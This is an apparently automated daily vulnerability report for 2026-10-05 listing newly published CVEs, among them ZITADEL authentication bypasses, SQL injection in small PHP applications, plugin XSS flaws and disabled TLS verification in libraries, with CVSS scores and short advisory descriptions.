

Daily Vulnerability Report - 2026-10-05

Window (UTC): 2026-10-04T07:29 to 2026-10-05T07:29 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-10-05 07:29:31 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
223	222	0	1	1	4	42	31	137	5

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105207	New	9.8	CRIT				ZITADEL 3.0.0 through 3.4.15 and 4.0.0 before 4.17.3 creates links between user accounts and external identity providers without verifying a primary factor or the caller's permission, including on identify-only Login V2 sessions and via the User Service V2 AddIDPLink endpoint. An unauthenticated attacker knowing a victim's login name can bind their own external IdP identity ...
CVE-2026-105209	New	9.6	CRIT				ZITADEL 3.x before 3.4.15 and 4.x before 4.17.1 contains an improper authorization vulnerability: when issuing passkey or passwordless enrollment codes, it checks only the organization in the x-zitadel-orgid header, not the target user's organization. Attackers with user-write permission in one organization can obtain an enrollment code for a user in another organization on ...
CVE-2026-103355	New	9.3	CRIT		0.003		Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) unlimited-elements-for-elementor allows Blind SQL Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 2.0.20.
CVE-2026-105215	New	9.1	CRIT				ZITADEL before 3.4.14 and 4.x before 4.16.2 contains an authentication bypass in the hosted Login V1 UI because the 'external account not found' registration endpoint trusts client-supplied external identity fields without a completed IdP callback. Unauthenticated attackers can submit forged IDPConfigID and ExternalUserID values to pre-create an account bound to a victim's e...
CVE-2026-105086	New	8.7	HIGH				WWBN AVideo 12.4 through 29.2.0 contains a stored cross-site scripting vulnerability that allows authenticated uploaders to inject HTML by submitting doubly-encoded entities in video titles. Because safeString() strips tags before decoding entities and runs twice via setTitle() and save(), attackers can store markup that executes in trending, gallery, embed, and playlist pages.
CVE-2026-105089	New	8.7	HIGH				WWBN AVideo through 29.2.0 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject script by setting a malicious video trailer1 URL. The value is rendered unescaped in YouPHPFlix2 templates and channel playlists, letting attackers break out of onclick strings or iframe src attributes to execute JavaScript in victims' browsers.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105210	New	8.2	HIGH				ZITADEL 3.x before 3.4.15 and 4.x before 4.17.1 contains a missing authentication flaw in the hosted Login V1 UI, whose second-factor enrollment and initialization handlers act on an identify-only session before any primary factor is verified. Attackers knowing only a victim's login name can enroll attacker-controlled TOTP, OTP-SMS, OTP-Email, or U2F factors, overwrite the v...
CVE-2026-105213	New	8.2	HIGH				ZITADEL 4.x before 4.17.1 does not check an organization's inactive state during Login V2 authentication, verifying only the individual user's status. Users of a deactivated organization who hold valid credentials, an existing session, or a refresh token can still sign in, create sessions, and obtain or refresh tokens.
CVE-2026-105211	New	8.1	HIGH				ZITADEL before 4.17.1 contains an authentication bypass vulnerability in Login V2 that allows unauthenticated attackers to take over accounts by obtaining OTP codes via the returnCode delivery type. Attackers knowing a login name of a victim with OTP-Email and OTP-SMS enrolled can read both codes from server-action responses to gain MFA-authenticated sessions, including admi...
CVE-2026-105293	New	8.1	HIGH				Legcord 1.1.0 through 1.3.0 contains a path traversal vulnerability in theme IPC handlers that allows script in the Discord page to escape the themes directory via unvalidated theme ids. Attackers running script in the Discord origin, such as through XSS, can abuse themes.folder, themes.uninstall, and themes.install to launch local executables, recursively delete directories...
CVE-2026-105220	New	7.8	HIGH				Twine 2 desktop through 2.12.0 contains a cross-site scripting vulnerability in importStories() that executes markup from imported story files in the editor window. Attackers can craft a story file whose script calls the twineElectron openWithScratchFile IPC bridge to write and open a .bat file, executing code as the user.
CVE-2026-105208	New	7.7	HIGH				ZITADEL 4.x before 4.17.3 and 3.x through 3.4.15 protects IdP intent tokens with unauthenticated, malleable encryption, allowing authenticated users to tamper with their own token so it is accepted for another user's external login intent. An attacker who predicts a victim's in-flight intent identifier and wins a timing race can call /v2/idp_intents or /v2/sessions to steal ...
CVE-2026-105212	New	7.5	HIGH				ZITADEL 3.x before 3.4.14 and 4.x before 4.16.2 contains an authentication bypass in the hosted Login V1 and Login V2 UIs that accepts passkey or other authenticator enrollment on identify-only login sessions, before any primary factor is verified. Unauthenticated attackers knowing only a victim's login name can register an attacker-controlled authenticator and log in as tha...
CVE-2026-105219	New	7.5	HIGH				Mammoth.js 1.3.0 before 1.12.3 contains a regular expression denial of service vulnerability in the style map tokeniser in lib/styles/parser/tokeniser.js due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in mammoth/style-map to block the Node.js event loop.
CVE-2026-105295	New	7.5	HIGH				GitAhead 2.5.0 through 2.7.1 contains an insecure update mechanism that installs downloaded updates without integrity or signature verification and permanently ignores TLS errors after one SSL error dialog. Network attackers presenting an invalid certificate once can intercept later automatic update checks, offer a fake version, and execute code as the user upon installation.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-97307	New	7.5	HIGH				Insertion of Sensitive Information Into Sent Data vulnerability in StylemixThemes Cost Calculator Builder cost-calculator-builder allows Retrieve Embedded Sensitive Data.This issue affects Cost Calculator Builder: from n/a through 4.0.17.
CVE-2026-105216	New	7.4	HIGH				go-micro before 6.0.0 contains an improper certificate validation vulnerability that allows network attackers to impersonate services because the shared TLS helper sets InsecureSkipVerify to true by default. Man-in-the-middle attackers can present any certificate to intercept or modify gRPC transport, HTTP and RabbitMQ broker, and Consul or etcd registry traffic, including a...
CVE-2026-105218	New	7.4	HIGH				gopay before 1.5.119 disables TLS certificate verification in defaultClient() in pkg/xhttp/client.go, allowing man-in-the-middle attackers to impersonate payment provider APIs. Attackers can present any certificate to read merchant credentials, signatures and transaction data, and modify payment, refund and order query responses.
CVE-2026-105221	New	7.4	HIGH				The gist RubyGem before 6.1.0 contains an improper certificate validation vulnerability that allows on-path attackers to intercept HTTPS traffic because http_connection in lib/gist.rb sets VERIFY_NONE. Attackers can present any certificate to read or modify GitHub API traffic, stealing OAuth tokens and login credentials to read and modify the victim's gists.
CVE-2026-105222	New	7.4	HIGH				The alexpechkarev/google-maps Laravel package through 12.16 disables TLS certificate verification by default because the bundled config sets ssl_verify_peer to FALSE, which is passed to CURLOPT_SSL_VERIFYPEER. On-path attackers can present any certificate to intercept Google Maps web-service requests, steal the API key from the query string, and tamper with responses.
CVE-2026-105223	New	7.4	HIGH				maclof/kubernetes-client 0.17.0 before 0.32.0 disables TLS certificate verification in parseKubeconfig() and parseKubeconfigFile() when a kubeconfig lacks certificate-authority-data, ignoring insecure-skip-tls-verify. On-path attackers can impersonate the Kubernetes API server to capture Bearer tokens or Basic credentials and tamper with WebSocket or REST API traffic.
CVE-2026-105294	New	7.4	HIGH				Legcord 1.1.0 through 1.3.0 contains a configuration injection vulnerability that allows script in the Discord page to write any config key via the window.legcord settings.setConfig bridge. Attackers exploiting a Discord XSS can set additionalArguments to persistently add --proxy-server and --ignore-certificate-errors switches, routing all client traffic through an intercept...
CVE-2026-105147	New	7.3	HIGH				A vulnerability was determined in SciPhi-AI R2R up to 3.6.6. This affects an unknown part of the component JWT Secret Handler. This manipulation of the argument DEFAULT_BCRYPT_SECRET_KEY/DEFAULT_NACL_SECRET_KEY causes hard-coded credentials. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about...
CVE-2026-105148	New	7.3	HIGH				A vulnerability was identified in SciPhi-AI R2R up to 3.6.6. This vulnerability affects unknown code of the file py/shared/abstractions/llm.py of the component Retrieval Completion API Endpoint. Such manipulation of the argument generation_config.api_base leads to server-side request forgery. The attack can be launched remotely. The exploit is publicly available and might be...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105149	New	7.3	HIGH				A security flaw has been discovered in mooSocial up to 3.2.4. This issue affects some unknown processing of the file /stores/all-products. Performing a manipulation of the argument rating results in sql injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure...
CVE-2026-105158	New	7.3	HIGH				A vulnerability was detected in RainyGao DocSys up to 2.02.85. The impacted element is the function BaseController.createDBForMysql of the file BaseController.java of the component Database Management. The manipulation of the argument url results in sql injection. The attack can be executed remotely. The exploit is now public and may be used. The project was informed of the ...
CVE-2026-105166	New	7.3	HIGH				A vulnerability was found in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The affected element is the function insert of the file fooddonateform.php of the component Food Donation Form. Performing a manipulation of the argument image-choice results in sql injection. The attack is possible to be carr...
CVE-2026-105167	New	7.3	HIGH				A vulnerability was determined in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The impacted element is an unknown function of the file admin/donate.php. Executing a manipulation of the argument location can lead to sql injection. The attack may be performed from remote. The exploit has been publicly...
CVE-2026-105169	New	7.3	HIGH				A security flaw has been discovered in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. This impacts an unknown function of the file delivery/delivery.php of the component Take Order Handler. The manipulation of the argument order_id/delivery_person_id results in sql injection. It is possible to launch ...
CVE-2026-105170	New	7.3	HIGH				A weakness has been identified in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. Affected is an unknown function of the file admin/signup.php of the component Admin Signup. This manipulation of the argument sign causes missing authentication. The attack can be initiated remotely. The exploit has been ...
CVE-2026-105172	New	7.3	HIGH				A vulnerability was detected in itsourcecode Online Admission System 1.0. Affected by this issue is some unknown functionality of the file /login1.php. Performing a manipulation of the argument User results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used.
CVE-2026-105175	New	7.3	HIGH				A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /Auth/add_student.php of the component Student Registration. The manipulation of the argument cmdschool results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.
CVE-2026-105182	New	7.3	HIGH				A security flaw has been discovered in SourceCodester Online Reviewer Management System 1.0. Impacted is an unknown function of the file /reviewer_0/admins/assessments/activities/btn_functions.php?action=update. The manipulation of the argument Title results in sql injection. The attack may be performed from remote. The exploit has been released to the public and may be used...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105183	New	7.3	HIGH				A weakness has been identified in itsourcecode Online Admission System 1.0. The affected element is an unknown function of the file /admin/confirm.php. This manipulation of the argument schedid causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-105184	New	7.3	HIGH				A security vulnerability has been detected in itsourcecode Online Admission System 1.0. The impacted element is an unknown function of the file /admin/criteria.php. Such manipulation of the argument ID leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-105185	New	7.3	HIGH				A vulnerability was detected in itsourcecode Online Admission System 1.0. This affects an unknown function of the file /admin/examinee.php. Performing a manipulation of the argument ID results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used.
CVE-2026-105229	New	7.3	HIGH				A weakness has been identified in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. This issue affects some unknown processing of the file signup.php of the component User Registration Endpoint. Executing a manipulation of the argument email/name/gender can lead to sql injection. The attack may be perfor...
CVE-2026-105230	New	7.3	HIGH				A security vulnerability has been detected in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. Impacted is an unknown function of the file delivery/deliverymyord.php. The manipulation of the argument delivery_person_id/order_id leads to sql injection. It is possible to initiate the attack remotely. The ...
CVE-2026-105231	New	7.3	HIGH				A vulnerability was detected in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The affected element is an unknown function of the file admin/signup.php of the component Admin Registration. The manipulation of the argument email/username/location results in sql injection. It is possible to launch the a...
CVE-2026-105232	New	7.3	HIGH				A flaw has been found in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The impacted element is an unknown function of the file delivery/deliverysignup.php of the component Registration Page. This manipulation of the argument username/email/location causes sql injection. The attack can be initiated re...
CVE-2026-105238	New	7.3	HIGH				A flaw has been found in ChatGPTNextWeb NextChat up to 2.16.1. This vulnerability affects the function proxyHandler of the file app/api/proxy.ts of the component Proxy Fallback Handler. This manipulation of the argument x-base-url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used. The pull reque...
CVE-2026-105246	New	7.3	HIGH				A vulnerability was found in SourceCodester Online Reviewer Management System 1.0. Impacted is an unknown function of the file /reviewer_0/admins/assessments/Subject/btn_functions.php?action=update. Performing a manipulation of the argument Subject results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103062	New	7.1	HIGH		0.001		Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs TranslatePress translatepress-multilingual allows Stored XSS.This issue affects TranslatePress: from n/a through 3.3.6.
CVE-2026-103344	New	7.1	HIGH		0.001		Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) unlimited-elements-for-elementor allows Reflected XSS.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 2.0.20.
CVE-2026-103354	New	7.1	HIGH		0.001		Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Liquid Web / StellarWP Gutenberg Blocks by Kadence Blocks kadence-blocks allows Stored XSS.This issue affects Gutenberg Blocks by Kadence Blocks: from n/a through 3.7.11.1.
CVE-2026-97276	New	7.1	HIGH		0.001		Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VeronaLabs WP Statistics wp-statistics allows Reflected XSS.This issue affects WP Statistics: from n/a through 14.16.14.
CVE-2026-100727	New	6.9	MEDI				An improper access control vulnerability exists in GROWI, which allow an unauthenticated attacker to read files contained in non-public pages of the affected product when the file upload setting is configured as "Local".
CVE-2026-105306	New	6.5	MEDI				A flaw was found in the Dynamic Client Registration flow of the Keycloak identity and access management server. The issue occurs because the registration process fails to filter security-sensitive client attributes when a new client is created. An attacker with a valid Initial Access Token can register a client that bypasses audience checks during token introspection. This a...
CVE-2026-105141	New	6.3	MEDI		0.003		A security flaw has been discovered in topoteretes cognee up to 1.5.4. The affected element is the function get_user_id_by_email of the file cognee/modules/users/authentication/get_api_auth_backend.py of the component JWT Signing Key Handler. The manipulation of the argument FASTAPI_USERS_JWT_SECRET results in hard-coded credentials. The attack may be launched remotely. Upgr...
CVE-2026-105165	New	6.3	MEDI				A vulnerability has been found in devopspolis secrets-replicator up to 0.4.0. Impacted is the function process_single_secret of the file src/handler.py of the component AssumeRole Handler. Such manipulation of the argument external_id leads to incorrect permission assignment. The attack can be executed remotely. Upgrading to version 0.5.0 is recommended to address this issue...
CVE-2026-105168	New	6.3	MEDI				A vulnerability was identified in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. This affects an unknown function of the file admin/admin.php of the component Order Assignment Block. The manipulation of the argument order_id/delivery_person_id leads to sql injection. It is possible to initiate the att...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105171	New	6.3	MEDI				A security vulnerability has been detected in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. Affected by this vulnerability is an unknown functionality of the file admin/admin.php of the component Role Attribute Handler. Such manipulation of the argument Name leads to authorization bypass. The attack ...
CVE-2026-105180	New	6.3	MEDI				A vulnerability was determined in Jeebase 0.0.1. This vulnerability affects the function updateUser of the file /user/update/info of the component UserService. Executing a manipulation of the argument user/tempUser can lead to dynamically-determined object attributes. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The projec...
CVE-2026-105181	New	6.3	MEDI				A vulnerability was identified in itsourcecode Online Admission System 1.0. This issue affects some unknown processing of the file register1.php. The manipulation of the argument frame leads to sql injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.
CVE-2026-105186	New	6.3	MEDI				A flaw has been found in itsourcecode Online Admission System 1.0. This impacts an unknown function of the file /new.php. Executing a manipulation of the argument schedid can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.
CVE-2026-105187	New	6.3	MEDI				A vulnerability has been found in itsourcecode Online Admission System 1.0. Affected is an unknown function of the file /admin/key.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-105233	New	6.3	MEDI				A vulnerability has been found in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. This affects an unknown function of the file login.php of the component Login Flow. Such manipulation of the argument PHPSESSID leads to session fixation. The attack can be launched remotely. The exploit has been disclos...
CVE-2026-105292	New	5.9	MEDI				Chaterm before 0.12.1 contains a login cross-site request forgery vulnerability that allows remote attackers to inject login state by sending chaterm:// callbacks without OAuth state validation. Attackers can trigger a crafted callback with attacker-controlled userInfo from a web page, signing the victim into the attacker's account so default data sync uploads saved hosts, p...
CVE-2026-105302	New	5.7	MEDI				A flaw was found in the User Session Note mapper of the Keycloak identity and access management solution. The issue occurs because the mapper does not validate whether a requested session note contains sensitive internal credentials, such as federated access tokens from external identity providers. This allows a delegated client administrator to leak a user's upstream bearer...
CVE-2026-105174	New	5.4	MEDI				A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function project_create of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument project_name leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The identi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105224	New	5.4	MEDI				YesWiki before 4.6.7 contains a cross-site scripting vulnerability in the Bazar valeur action that allows page editors to inject script by rendering unescaped HTML fetched from a remote URL. Attackers can point tools/bazar/actions/valeur.php at a controlled server returning BAZ_fiche_titre markup with an img onerror handler, executing script in every viewer's browser.
CVE-2026-105144	New	5.3	MEDI		0.005		A flaw has been found in Drogon up to 1.9.13-1/10.0-beta.3 on Windows. Affected is the function StaticFileRouter::route of the file lib/src/StaticFileRouter.cc of the component Static File Router. Executing a manipulation can lead to path traversal. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about t...
CVE-2026-105145	New	5.3	MEDI				A vulnerability has been found in Weaviate Verba up to 2.1.3. Affected by this vulnerability is the function get_environment of the file goldenverba/components/util.py of the component generate_stream Endpoint. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The ve...
CVE-2026-105161	New	5.3	MEDI				A flaw has been found in invariant-systems-ai aiir up to 1.7.0. The affected element is an unknown function of the component Policy Gate Handler. Executing a manipulation can lead to improper verification of cryptographic signature. The attack can be executed remotely. It is advisable to upgrade the affected component. The GitHub repository of this project is not available a...
CVE-2026-105163	New	5.3	MEDI				A vulnerability was detected in crossplane crossplane-runtime up to 2.2.2/2.3.2. This vulnerability affects the function Get of the file pkg/xpkg/client.go of the component ImageConfig. The manipulation results in time-of-check time-of-use. The attack may be launched remotely. Upgrading to version 2.2.3, 2.3.3 and 2.4.0-rc.1 is able to resolve this issue. The patch is identi...
CVE-2026-105205	New	5.3	MEDI				SiYuan before 3.8.5 contains an information disclosure vulnerability that allows publish-mode readers to learn backlink block IDs and reference counts from password-protected and publish-disabled documents by querying a published document. Attackers can send POST requests to /api/block/getDocInfo or getDocsInfo for a published document ID to obtain refIDs and refCount of hid...
CVE-2026-105206	New	5.3	MEDI				ZITADEL 3.0.0 through 3.4.15 and 4.x before 4.17.3 contains an incorrect authorization flaw in the User Service API, which verifies user.read against the caller's organization rather than the organization owning the target user. An authenticated member holding org-scoped user.read can query GET /v2/users/{userId}/authentication_methods to learn which authentication method ty...
CVE-2026-105137	New	5.0	MEDI		0.001		A vulnerability was found in Laradock up to 20.4. Impacted is an unknown function of the file workspace/Dockerfile of the component Build Process. The manipulation results in download of code without integrity check. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is considered difficult. The exploit has been ma...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105146	New	4.7	MEDI				A vulnerability was found in Comsenz Discuz! X5.0-20260801/X5.0-20260820/X5.0-20260910. Affected by this issue is the function modmedalsubmit of the file upload/source/app/admin/child/medals/mod.php of the component Admin Medal Moderation. The manipulation of the argument delete results in sql injection. It is possible to launch the attack remotely. The exploit has been made...
CVE-2026-105176	New	4.7	MEDI				A vulnerability was determined in SourceCodester Drug Recommendation System 1.0. Impacted is an unknown function of the file /Admin/edit_class.php. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-105177	New	4.7	MEDI				A vulnerability was identified in SourceCodester Drug Recommendation System 1.0. The affected element is an unknown function of the file /Admin/add_drug.php of the component Drug Creation. Such manipulation of the argument txtname/cmdtype/txtusage/txtsideeffect/cmdcontraindication leads to sql injection. The attack may be performed from remote. The exploit is publicly availa...
CVE-2026-105178	New	4.7	MEDI				A security flaw has been discovered in SourceCodester Drug Recommendation System 1.0. The impacted element is the function mysqli_real_escape_string of the file /Admin/add_symptom.php of the component Symptom Creation. Performing a manipulation of the argument txtname results in sql injection. It is possible to initiate the attack remotely. The exploit has been released to t...
CVE-2026-105226	New	4.7	MEDI				A security flaw has been discovered in osCommerce osCommerce2 up to 2.3.4.1. This vulnerability affects the function include of the file admin/newsletters.php of the component Newsletter Management. Performing a manipulation of the argument module results in code injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may...
CVE-2026-104402	New	4.3	MEDI				Insertion of Sensitive Information Into Sent Data vulnerability in farvisun Mindio Magic MCP mindio-magic-mcp allows Retrieve Embedded Sensitive Data.This issue affects Mindio Magic MCP: from n/a through 0.5.6.
CVE-2026-105157	New	4.3	MEDI				A security vulnerability has been detected in RainyGao DocSys up to 2.02.85. The affected element is the function DocController.doGetTmp of the file /Doc/doGetTmpFile.do of the component Document Controller. The manipulation of the argument path/fileName leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be...
CVE-2026-105225	New	4.3	MEDI				A vulnerability was identified in osCommerce osCommerce2 up to 2.3.4.1. This affects the function include of the file includes/classes/payment.php of the component Payment Page. Such manipulation of the argument MODULE_PAYMENT_INSTALLED leads to code injection. The attack can be executed remotely. The exploit is publicly available and might be used. The project was informed ...
CVE-2026-105301	New	4.0	MEDI				A flaw was found in the X.509 client-certificate authenticator of Keycloak, a solution for identity and access management. The issue occurs when the server is configured to check certificate revocation using CRL Distribution Points or OCSP. An attacker can provide a specially crafted certificate that points to a malicious server, causing Keycloak to make unauthorized outboun...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105156	New	3.7	LOW				A weakness has been identified in YzmCMS up to 7.6. Impacted is the function Password of the file /common/function/system.func.php of the component MD5 Handler. Executing a manipulation of the argument pass can lead to password hash with insufficient computational effort. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability...
CVE-2026-105237	New	3.7	LOW				A vulnerability was detected in linlinjava litemall up to 1.8.0. This affects an unknown part of the file litemall-admin-api/src/main/java/org/linlinjava/litemall/admin/web/AdminAuthController.java of the component Login Endpoint. The manipulation results in improper restriction of excessive authentication attempts. The attack may be performed from remote. A high complexity ...
CVE-2026-105245	New	3.7	LOW				A vulnerability has been found in sgl-project sglang up to 0.5.21. This issue affects the function server_info of the file python/sglang/srt/entrypoints/http_server.py of the component HTTP Endpoint. Such manipulation of the argument api_key leads to cleartext transmission of sensitive information. It is possible to launch the attack remotely. Attacks of this nature are high...
CVE-2026-105173	New	3.5	LOW				A flaw has been found in code-projects Human Resource Management 1.0. This affects an unknown part of the file /humanresourcemanagementsystem/src/store/EventStore.php of the component Event Creation. Executing a manipulation of the argument eventSubject can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used.
CVE-2026-105188	New	3.5	LOW				A vulnerability was found in code-projects Human Resource Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /views/admin/liveEventHistory.php of the component Live Event History. The manipulation of the argument eventSubject results in cross site scripting. The attack may be launched remotely. The exploit has been made public and c...
CVE-2026-105217	New	3.1	LOW				Cockpit CMS 2.12.0 before 2.14.1 disables TLS certificate verification in the cron.php web worker restart request, allowing network attackers to capture the worker token. Man-in-the-middle attackers on the outbound path to site_url can present any certificate to steal the worker/web/token value and start the web worker.
CVE-2026-105164	New	2.7	LOW				A flaw has been found in NASA cFS up to 7.0.1. This issue affects the function CFE_FS_ParseInputFileNameEx of the file cfe/modules/fs/fsw/src/cfe_fs_api.c. This manipulation causes out-of-bounds read. Remote exploitation of the attack is possible. The pull request to fix this issue awaits acceptance.
CVE-2026-105179	New	2.7	LOW				A weakness has been identified in SourceCodester Drug Recommendation System 1.0. This affects an unknown function of the file Admin/add_user.php of the component Password Handler. Executing a manipulation of the argument Password can lead to missing encryption of sensitive data. It is possible to launch the attack remotely. The exploit has been made available to the public a...
CVE-2026-105214	New	2.3	LOW				Zitadel before 4.16.2 contains a server-side request forgery vulnerability that allows attackers to make the server request internal resources through organization domain HTTP verification. The challenge fetch uses Go's default http.Get instead of the protected client, so attackers can register domains that redirect to loopback, internal, or cloud metadata addresses to scan ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2017-20285	New						YAML versions before 1.30 for Perl allow a loaded document to trigger the DESTROY method of arbitrary classes. A perl/hash:Class tag blesses a hash into the class it names. The document supplies the object's fields, and Perl calls DESTROY when it goes out of scope. What DESTROY does depends on the classes the process has loaded. With File::Temp::Dir from core Perl, it can ...
CVE-2019-25777	New						YAML versions before 1.27_001 for Perl allow a loaded perl/glob document to replace any package variable, which can lead to arbitrary code execution. A perl/glob document names a package and a symbol, and supplies the value assigned to it. Nothing restricts the name, so the target can be @INC or YAML's own load options. A perl/glob document that sets \$YAML::LoadCode or \$YA...
CVE-2026-13607	New						The File Uploads Addon for WooCommerce WordPress plugin through 1.7.6 stores customer-uploaded files in a publicly web-accessible uploads directory and the access restriction it generates is ineffective, so an unauthenticated attacker who knows or guesses a file's name can retrieve customer-uploaded files directly, bypassing the File Uploads Addon for WooCommerce WordPress p...
CVE-2026-19954	New						Net::Whois::Raw versions before 2.99044 for Perl ship a pwhois command-line tool that queries WHOIS for the wrong domain for unicode domain names. pwhois encodes each non-ASCII label directly using Net::IDN::Punycode and prepends xn--. Apart from lowercasing ASCII and Cyrillic letters, it skips the IDNA mapping and normalization steps, so a label with other uppercase letter...
CVE-2026-20519	New						In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01778993; Issue ID: MSV-8898.
CVE-2026-20520	New						In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01778988; Issue ID: MSV-8897.
CVE-2026-20521	New						In Video HAL, there is a possible escalation of privilege due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11375674; Issue ID: MSV-9571.
CVE-2026-20522	New						In neuropilot, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11249050; Issue ID: MSV-9172.
CVE-2026-20523	New						In neuropilot, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11249062; Issue ID: MSV-9171.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20524	New						In apu, there is a possible memory corruption due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11249004; Issue ID: MSV-9170.
CVE-2026-20525	New						In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01870473 / MOLY00814393; Issue ID: MSV-9041.
CVE-2026-20526	New						In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: MOLY01898195; Issue ID: MSV-8906.
CVE-2026-20527	New						In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01864925 / MOLY01210562; Issue ID: MSV-8303.
